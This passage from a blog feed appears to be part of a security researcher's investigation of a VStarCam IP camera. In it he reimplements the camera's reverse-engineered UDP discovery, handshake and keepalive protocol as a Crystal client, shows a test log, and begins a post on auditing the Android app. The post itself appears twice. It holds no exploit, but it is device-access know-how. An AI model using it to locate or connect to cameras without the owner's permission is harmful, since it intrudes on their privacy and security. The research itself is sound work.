end

# Check if the packet we recieved was a DBR
def check_dbr(packet) : Bool
  !!(packet[0] =~ DBR_REGEX)
end

# Parse the DBR information into a hash
def parse_dbr(packet) : Hash(Symbol, String)
  data = packet[0]
  connection = packet[1]

  result = {} of Symbol =&gt; String
  result[:camera_ip] = data[4..19].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:netmask] = data[20..35].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:gateway] = data[36..51].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server1] = data[52..67].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server2] = data[68..83].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:mac_address] = (data[84..88].bytes.map {|b| b.to_s(16).rjust(2, &#39;0&#39;).upcase}).join
  result[:http_port] = ((data.bytes[91].to_i32 &lt;&lt; 8) + data.bytes[90].to_i32).to_s
  result[:uid] = data[91..105]
  LOG.info(&quot;Parsed new target camera #{result}&quot;)
  result
end</code></pre>
<h2>BCP and BPR</h2>
<p>We then want to send a BCP to broadcast now that the DPR has been resolved.</p>
<pre class="code-block"><code># Destination address for the f130 broadcast packet
BC_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 32108)
# F130 broadcast packet data
BCP = &quot;\xf1\x30\x00\x00&quot;
# Send the magic f130 broadcast packet
def send_bcp
  data_sock.send(BCP, BC_SOCK_DST)
end</code></pre>
<p>We now need to handle the handshake, which consists of broadcasting a BCP and waiting for a BPS, then replying back with a BPS, and then receiving a BPA.</p>
<pre class="code-block"><code># F130 broadcast packet reply header
BPR_HEADER = &quot;\xf1\x42\x00\x14&quot;

# Fixed BPR size
BPR_SIZE = 24

# Character sent for &quot;SYN&quot;
BP_SYN = &#39;A&#39;

# Character sent for &quot;ACK&quot;
BP_ACK = &#39;B&#39;

# Complete the handshake using BPS
def handle_bp_handshake
  LOG.info(&quot;Waiting for BPS&quot;)
  packet = @data_channel.receive #BPR size is always fixed
  LOG.info(&quot;Recieved a packet&quot;)
  if packet
    data = packet[0]  # Contains the packet data
    camera_ip = packet[1] # Connection info to connect back into the camera
    LOG.info(&quot;Recieved a potential BPS from #{camera_ip}&quot;)
    # Check if out BPR is actually a BPR
    if data[1] == BP_SYN
      LOG.info(&quot;BPS Verified!&quot;)
    else
      LOG.info(&quot;BPS BAD! #{&quot;\\x&quot; + data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      return
    end
    # Echo back packet data back
    LOG.info(&quot;Waiting for BPA&quot;)
    data_sock.send(data, camera_ip)
    # Recv the BPR ACK packet
    packet = @data_channel.receive
    if packet
      LOG.info(&quot;Recieved potential BPA?&quot;)
      data = packet[0]
      camera_ip = packet[1]
      if data[1] == BP_ACK
        LOG.info(&quot;BPA Verified! Handshake successful!&quot;)
        # set the target camera to the current connection
        new_target camera_ip
      else
        LOG.info(&quot;BPA BAD! #{data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      end
    end
  end
end</code></pre>
<h2>Main Phase</h2>
<p>Now we need to handle the ping pong packets! This is super simple now that we have finished the hard part.</p>
<pre class="code-block"><code># Packet that must be sent between the camera and the client at least once every 11 packets
PING_PACKET = &quot;\xf1\xe0\x00\x00&quot;
# Packet that must be sent between the camera and the client at least once every 11 packets
PONG_PACKET = &quot;\xf1\xe1\x00\x00&quot;

def main_phase
  # Block here to recieve data from the data fiber
  data = @data_channel.receive

  # Classify each packet and respond
  if data[0] == PING_PACKET
    send_pong
    LOG.info &quot;Sent Pong&quot;
  elsif data[0] == PONG_PACKET
    send_ping
    LOG.info &quot;Sent Ping&quot;
  # This is important! The data fiber will block, waiting for data to come through
  # So to exit the program, we just send the unblock data to the data socket to free it
  elsif data[0][0..3] == BPA_HEADER
    LOG.info &quot;Receive extra BPA&quot;
  elsif data[0] == UNBLOCK_FIBER_DATA
    LOG.info &quot;RECEIVED UNBLOCK FIBER COMMAND!&quot;
  else
    LOG.info &quot;UNKNOWN PACKET RECEIVED from #{data[1]} : #{data[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;
  end
end

def send_ping
  data_sock.send(PING_PACKET, target)
end

def send_pong
  data_sock.send(PONG_PACKET, target)
end</code></pre>
<h2>Testing</h2>
<p>If we open up Wireshark and listen in to the connection, we should see that pings and pongs should coming through, and there should be no errors. Also the LOG should show that there were no errors as well.</p>
<p>Here&#39;s the code I used to run it.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
sleep 5
client.close</code></pre>
<center>
<img src="/images/vstarcam/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>In the screenshot, we can see no errors or unexpected output. We get some destination unreachable errors at the end because that&#39;s when the server shutdown.</p>
<pre class="code-block"><code>I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Opening ports
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Ports opened
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sending DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sent DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to wait_for_dbr
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for DBR
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns_server1 =&gt; &quot;8.8.8.8&quot;, :dns_server2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48022A0BDBB4&quot;, :http_port =&gt; &quot;11481&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;}
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : DBR RECEIVED FROM 192.168.11.140, UID: VSTB668515UZCPK
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to send_bcp
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to handle_bp_handshake
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPS
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a packet
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a potential BPS from 192.168.11.140:10560
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPS Verified!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved potential BPA?
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPA Verified! Handshake successful!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to main_phase
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:38 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:39 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:40 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closing client
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closing
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closed
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closed client</code></pre>
<p>From the LOG we can see everything is good!</p>
<center>
<img src="/images/vstarcam/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Doing a little packet capture analysis, we can also see we have received a new packet, 0xf1f00000. This packet seems to be sent after a certain number of pings and pongs were missed. We can assume this is some sort of disconnection packet, and we should reflect that in our code</p>
<pre class="code-block"><code># Packet sent when the camera has timed out from ping-pong
DISCONNECT_PACKET= &quot;\xf1\xf0\x00\x00&quot;

def send_disconnect
  data_sock.send(DISCONNECT_PACKET, target)
  LOG.info &quot;Sent Disconnect&quot;
end</code></pre>
<p>After we send the disconnect packet, the camera will send one of it&#39;s own. To avoid a destination unreachable, we should sleep for 0.1 seconds just to let the packet be received by the data socket, even though we aren&#39;t going to do anything with the packet</p>
]]></description>
      <content:encoded><![CDATA[<p>Now that we have learned some interesting things about the communications, let&#39;s see if we can write our own suite of tools to work with the camera.</p>
<p>Before we start, I&#39;ll be using the wonderful programming language from the boys over at Crystal. It&#39;s a very fast, statically typed language, with very zen and down to Earth syntax. The meta-programming aspect of the language is very cool!</p>
<p>First thing we should do is talk about design.</p>
<p>From what we can see right now the camera and client go through different states, things like sending the DBP, waiting for the BPA, that sort of thing. As such, we will want to make a simple state machine. Here is the basic outline of the functionality we need.</p>
<pre class="code-block"><code>class Client
  STATES = [:nothing,
            :send_dbp,
            :wait_for_dbr,
            :send_bcp,
            :handle_bp_handshake,
            :main_phase,
            :closing,
            :closed]
  getter state : Symbol = :nothing

  # Change the state of the client.
  def change_state(state)
    @state = state
    LOG.info &quot;Changing to #{@state}&quot;
    tick # rerun the tick since the state immediately changed and there is new stuff to do.
  end
end</code></pre>
<p>The idea is that whenever we change the state of our client, we are moving to the next phase of communication.</p>
<p>Next big thing we need to talk about are Fibers. If you are unfamiliar with them, I would suggest reading <a href="https://crystal-lang.org/reference/guides/concurrency.html">this article</a>.</p>
<p>We have two main tasks, we need to have a <strong>Data Loop</strong>, which will take data in from ports (depending on the state of the client, choose which port to use), and then take that data and shovel it off into a <a href="https://crystal-lang.org/api/0.27.2/Channel.html">channel</a>. Then we will have the <strong>Tick Loop</strong>, which will run the decisions to be made on the incoming data.</p>
<h2>Starting the client</h2>
<p>One of the first things we want to be able to do is start the client, and have it &quot;idle&quot; while waiting for connections.</p>
<pre class="code-block"><code># Sets up the client by binding the udp sockets to addresses and ports
  def setup
    # Don&#39;t resetup the client if its is_running
    if !is_running?
      LOG.info(&quot;Opening ports&quot;)
      # Our socket for sending UDP data to the camera
      @data_sock.bind DATA_SOCK_SRC
      # Super important to enable this or else we can&#39;t broadcast to 255.255.255.255!
      @data_sock.setsockopt LibC::SO_BROADCAST, 1
      # Our socket for sending discovery broadcasts.
      @db_sock.bind DB_SOCK_SRC
      @db_sock.setsockopt LibC::SO_BROADCAST, 1

      LOG.info(&quot;Ports opened&quot;)
      return
    else
      LOG.error &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
      raise &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
    end
  end

  def run
    # Dont allow the client to run again!
    if !is_running?
      @is_running = true
      # Change the state so it will attempt to discover a camera on the network
      @state = :send_dbp
      #Start our fibers
      start_data_fiber
      start_tick_fiber
    else
      LOG.error &quot;ALREADY RUNNING CLIENT!&quot;
    end
  end</code></pre>
<p>The main idea is that we set up the client, making a variable that will track if it&#39;s running or not. It also sets up the ports we need to communicate our discovery broadcast, as well as the UDP data socket. We also have a method run which will stop the method if it is already running, change the state to the first phase, then start our fibers for data and tick.</p>
<h2>Fiber Design</h2>
<pre class="code-block"><code># Channel that will communicate data back to the tick fiber
  @data_channel = Channel(Tuple(String, Socket::IPAddress)).new

  # Fiber which deals with incoming packet data, holds this data temporarily and then sends the data via @data_channel to the tick fiber.
  @data_fiber : Fiber = spawn {}

  # Fiber which handles the decision process of handling the state of the client. Recieves incoming data  from data_channel and processes it
  @tick_fiber : Fiber = spawn {}</code></pre>
<p>Then we want to write our two &quot;start fiber&quot; methods. We reassign the fiber variable for the action, trap any exceptions and rescue them out (specifically for the case of the ports shutting down while sending data), create a while loop with is_running? as a condition, and then fill in the meat of the fibers.</p>
<p>Data fiber will block on the data socket, then transfer any data received to the  channel.</p>
<p>Tick fiber will run the update tick continually until the client is no longer running.</p>
<pre class="code-block"><code># Start the fiber which blocks for incoming data, then forwards it to a channel.
def start_data_fiber
  @data_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        # Will block execution
        packet = data_sock.receive
        @data_channel.send(packet)
      end
    rescue e
      LOG.info &quot;DATA EXCEPTION #{e}&quot;
    end
  end
end

# Start the fiber which contains the tick logic.
def start_tick_fiber
  @tick_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        tick
      end
    rescue e
      LOG.info &quot;TICK EXCEPTION #{e}&quot;
    end
  end
end</code></pre>
<h2>Closing the client</h2>
<p>When the data fiber is blocked, there is no way to &quot;kill&quot; the fiber when we want the program to exit. Instead, we need to simulate some data into the socket, freeing the fiber to execute and close itself.</p>
<p>First we turn @is_running to false, then send the &quot;unblock fiber data&quot; into the data socket. We then use a Fiber.yield to give control back to the data fiber. While we can&#39;t give control back directly to the data fiber, we know that the tick fiber will most likely be blocked and the data fiber will get it&#39;s turn.</p>
<p>We then close the sockets, change_state to closing, and set the target camera back to 0.</p>
<pre class="code-block"><code>UNBLOCK_FIBER_DATA = &quot;e127e855-36d2-43f1-82c0-95f2ba5fe800&quot;
def close
  LOG.info(&quot;Closing client&quot;)
  @is_running = false
  change_state(:closing)

  # This line unblocks the @data_fiber
  @data_sock.send(UNBLOCK_FIBER_DATA, Socket::IPAddress.new(&quot;127.0.0.1&quot;, DATA_SOCK_SRC.port))

  # Force a fiber change to go to the other fibers to end them
  Fiber.yield

  # Now we can close the sockets
  @data_sock.close
  @db_sock.close

  # Reset the target_camera
  new_target &quot;0.0.0.0&quot;, 0
  change_state(:closed)
  LOG.info(&quot;Closed client&quot;)
end</code></pre>
<h2>Tick Layout</h2>
<p>In the tick method, we want to layout a basic pattern of transitions for the client.</p>
<pre class="code-block"><code># Main decision making function
def tick
  if state == :nothing
    # Do nothing
  elsif state == :send_dbp
    send_dbp
    change_state :wait_for_dbr
  elsif state == :wait_for_dbr
    info = wait_for_dbr
    if info
      @target_info = info
      change_state :send_bcp
    else
      change_state :send_dbp
    end
  elsif state == :send_bcp
    send_bcp
    change_state :handle_bp_handshake
  elsif state == :handle_bp_handshake
    handle_bp_handshake

    if has_target?
      change_state :main_phase
    else
      change_state :send_dbp
    end
  elsif state == :main_phase
    # Do ping pong, etc in here
    main_phase
  else
    raise &quot;THERE WAS A BAD IN TICK!&quot;
  end
end</code></pre>
<h2>DBP and DBR</h2>
<p>We need to send our DBP, so we can start to discover cameras. This process is fairly straight forward.</p>
<pre class="code-block"><code># Source address for the discovery packet
DB_SOCK_SRC = Socket::IPAddress.new(&quot;0.0.0.0&quot;, 6801)

# Destination address for the discovery packet
DB_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 8600)

# Discovery packet data
DBP = &quot;\x44\x48\x01\x01&quot;

# Send the DBP to the camera
def send_dbp
  LOG.info(&quot;Sending DBP&quot;)
  db_sock.send(DBP, DBP_SOCK_DST)
  LOG.info(&quot;Sent DBP&quot;)
end</code></pre>
<p>After sending we want to wait until the camera responds with the DBR. We also want to parse some of the data coming in, as it has some juicy info we might want to reference later.</p>
<pre class="code-block"><code># Size of the discovery packet reply
DBR_SIZE = 570

# Regex to check if a packet is a DBR
DBR_REGEX = /^DH/

# Wait for the DBR to come back from the camera.
def wait_for_dbr : Hash(Symbol, String)?
  LOG.info(&quot;Waiting for DBR&quot;)
  packet = db_sock.receive
  if packet
    if check_dbr(packet)
      info = parse_dbr(packet)
      LOG.info(&quot;DBR RECEIVED FROM #{info[:camera_ip]}, UID: #{info[:uid]}&quot;)
      return info
    else
      LOG.info(&quot;BAD/NON DBR RECEIVED! #{packet[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
    end
  else
    LOG.info(&quot;NO DBR RECEIVED!&quot;)
  end
  return nil
end

# Check if the packet we recieved was a DBR
def check_dbr(packet) : Bool
  !!(packet[0] =~ DBR_REGEX)
end

# Parse the DBR information into a hash
def parse_dbr(packet) : Hash(Symbol, String)
  data = packet[0]
  connection = packet[1]

  result = {} of Symbol =&gt; String
  result[:camera_ip] = data[4..19].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:netmask] = data[20..35].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:gateway] = data[36..51].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server1] = data[52..67].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server2] = data[68..83].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:mac_address] = (data[84..88].bytes.map {|b| b.to_s(16).rjust(2, &#39;0&#39;).upcase}).join
  result[:http_port] = ((data.bytes[91].to_i32 &lt;&lt; 8) + data.bytes[90].to_i32).to_s
  result[:uid] = data[91..105]
  LOG.info(&quot;Parsed new target camera #{result}&quot;)
  result
end</code></pre>
<h2>BCP and BPR</h2>
<p>We then want to send a BCP to broadcast now that the DPR has been resolved.</p>
<pre class="code-block"><code># Destination address for the f130 broadcast packet
BC_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 32108)
# F130 broadcast packet data
BCP = &quot;\xf1\x30\x00\x00&quot;
# Send the magic f130 broadcast packet
def send_bcp
  data_sock.send(BCP, BC_SOCK_DST)
end</code></pre>
<p>We now need to handle the handshake, which consists of broadcasting a BCP and waiting for a BPS, then replying back with a BPS, and then receiving a BPA.</p>
<pre class="code-block"><code># F130 broadcast packet reply header
BPR_HEADER = &quot;\xf1\x42\x00\x14&quot;

# Fixed BPR size
BPR_SIZE = 24

# Character sent for &quot;SYN&quot;
BP_SYN = &#39;A&#39;

# Character sent for &quot;ACK&quot;
BP_ACK = &#39;B&#39;

# Complete the handshake using BPS
def handle_bp_handshake
  LOG.info(&quot;Waiting for BPS&quot;)
  packet = @data_channel.receive #BPR size is always fixed
  LOG.info(&quot;Recieved a packet&quot;)
  if packet
    data = packet[0]  # Contains the packet data
    camera_ip = packet[1] # Connection info to connect back into the camera
    LOG.info(&quot;Recieved a potential BPS from #{camera_ip}&quot;)
    # Check if out BPR is actually a BPR
    if data[1] == BP_SYN
      LOG.info(&quot;BPS Verified!&quot;)
    else
      LOG.info(&quot;BPS BAD! #{&quot;\\x&quot; + data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      return
    end
    # Echo back packet data back
    LOG.info(&quot;Waiting for BPA&quot;)
    data_sock.send(data, camera_ip)
    # Recv the BPR ACK packet
    packet = @data_channel.receive
    if packet
      LOG.info(&quot;Recieved potential BPA?&quot;)
      data = packet[0]
      camera_ip = packet[1]
      if data[1] == BP_ACK
        LOG.info(&quot;BPA Verified! Handshake successful!&quot;)
        # set the target camera to the current connection
        new_target camera_ip
      else
        LOG.info(&quot;BPA BAD! #{data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      end
    end
  end
end</code></pre>
<h2>Main Phase</h2>
<p>Now we need to handle the ping pong packets! This is super simple now that we have finished the hard part.</p>
<pre class="code-block"><code># Packet that must be sent between the camera and the client at least once every 11 packets
PING_PACKET = &quot;\xf1\xe0\x00\x00&quot;
# Packet that must be sent between the camera and the client at least once every 11 packets
PONG_PACKET = &quot;\xf1\xe1\x00\x00&quot;

def main_phase
  # Block here to recieve data from the data fiber
  data = @data_channel.receive

  # Classify each packet and respond
  if data[0] == PING_PACKET
    send_pong
    LOG.info &quot;Sent Pong&quot;
  elsif data[0] == PONG_PACKET
    send_ping
    LOG.info &quot;Sent Ping&quot;
  # This is important! The data fiber will block, waiting for data to come through
  # So to exit the program, we just send the unblock data to the data socket to free it
  elsif data[0][0..3] == BPA_HEADER
    LOG.info &quot;Receive extra BPA&quot;
  elsif data[0] == UNBLOCK_FIBER_DATA
    LOG.info &quot;RECEIVED UNBLOCK FIBER COMMAND!&quot;
  else
    LOG.info &quot;UNKNOWN PACKET RECEIVED from #{data[1]} : #{data[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;
  end
end

def send_ping
  data_sock.send(PING_PACKET, target)
end

def send_pong
  data_sock.send(PONG_PACKET, target)
end</code></pre>
<h2>Testing</h2>
<p>If we open up Wireshark and listen in to the connection, we should see that pings and pongs should coming through, and there should be no errors. Also the LOG should show that there were no errors as well.</p>
<p>Here&#39;s the code I used to run it.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
sleep 5
client.close</code></pre>
<center>
<img src="/images/vstarcam/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>In the screenshot, we can see no errors or unexpected output. We get some destination unreachable errors at the end because that&#39;s when the server shutdown.</p>
<pre class="code-block"><code>I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Opening ports
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Ports opened
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sending DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sent DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to wait_for_dbr
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for DBR
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns_server1 =&gt; &quot;8.8.8.8&quot;, :dns_server2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48022A0BDBB4&quot;, :http_port =&gt; &quot;11481&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;}
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : DBR RECEIVED FROM 192.168.11.140, UID: VSTB668515UZCPK
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to send_bcp
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to handle_bp_handshake
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPS
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a packet
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a potential BPS from 192.168.11.140:10560
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPS Verified!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved potential BPA?
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPA Verified! Handshake successful!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to main_phase
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:38 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:39 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:40 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closing client
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closing
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closed
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closed client</code></pre>
<p>From the LOG we can see everything is good!</p>
<center>
<img src="/images/vstarcam/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Doing a little packet capture analysis, we can also see we have received a new packet, 0xf1f00000. This packet seems to be sent after a certain number of pings and pongs were missed. We can assume this is some sort of disconnection packet, and we should reflect that in our code</p>
<pre class="code-block"><code># Packet sent when the camera has timed out from ping-pong
DISCONNECT_PACKET= &quot;\xf1\xf0\x00\x00&quot;

def send_disconnect
  data_sock.send(DISCONNECT_PACKET, target)
  LOG.info &quot;Sent Disconnect&quot;
end</code></pre>
<p>After we send the disconnect packet, the camera will send one of it&#39;s own. To avoid a destination unreachable, we should sleep for 0.1 seconds just to let the packet be received by the data socket, even though we aren&#39;t going to do anything with the packet</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Hardware Dumping</title>
      <link>https://sol.vin/vstarcam_journey/3.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/3.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark1.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark2.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark3.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark5.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark6.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark7.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark8.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark9.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark10.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark11.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark12.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark13.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark14.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark15.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/wireshark1.png" />
      <description><![CDATA[<p>I figured since a majority of people would be using the Android client, I would start my audit there. The Android app, Eye4, is available in two separate downloads, one from the <a href="http://www.eye4.so/AppDown.html">Eye4 site</a>, and one from the <a href="https://play.google.com/store/apps/details?id=vstc.vscam.client&amp;hl=en">Play store</a>. They also have a <a href="http://www.eye4.so/download/">Windows download</a>, which I will audit later.</p>
<p>The first thing I wanted to do is compare the Play store APK with the Eye4 site APK to see if there is any foul play going on, but unfortunately their personal download on the site didn&#39;t work and lead to a blank page.</p>
<p>We want to start our network sniffer, and begin our testing process.</p>
<p>First thing we want to do is boot the camera up after resetting it for the first time. This makes sure we have a clean slate when working with the camera. We will be resetting the camera multiple times to make sure we have lots of samples to compare.</p>
<p>Without connecting to any client, we will boot the camera up, connect to our sniffer, capture all the boot network data, then reset the camera, stop capture, and restart the whole thing. We do this about 2-3 times to get an idea of what the booting process looks like.</p>
<p>After that, we will connect the camera to the client, by searching for LAN in the client and connecting that way. Delete the camera, reset, then try it again. Do this multiple times to get multiple captures.</p>
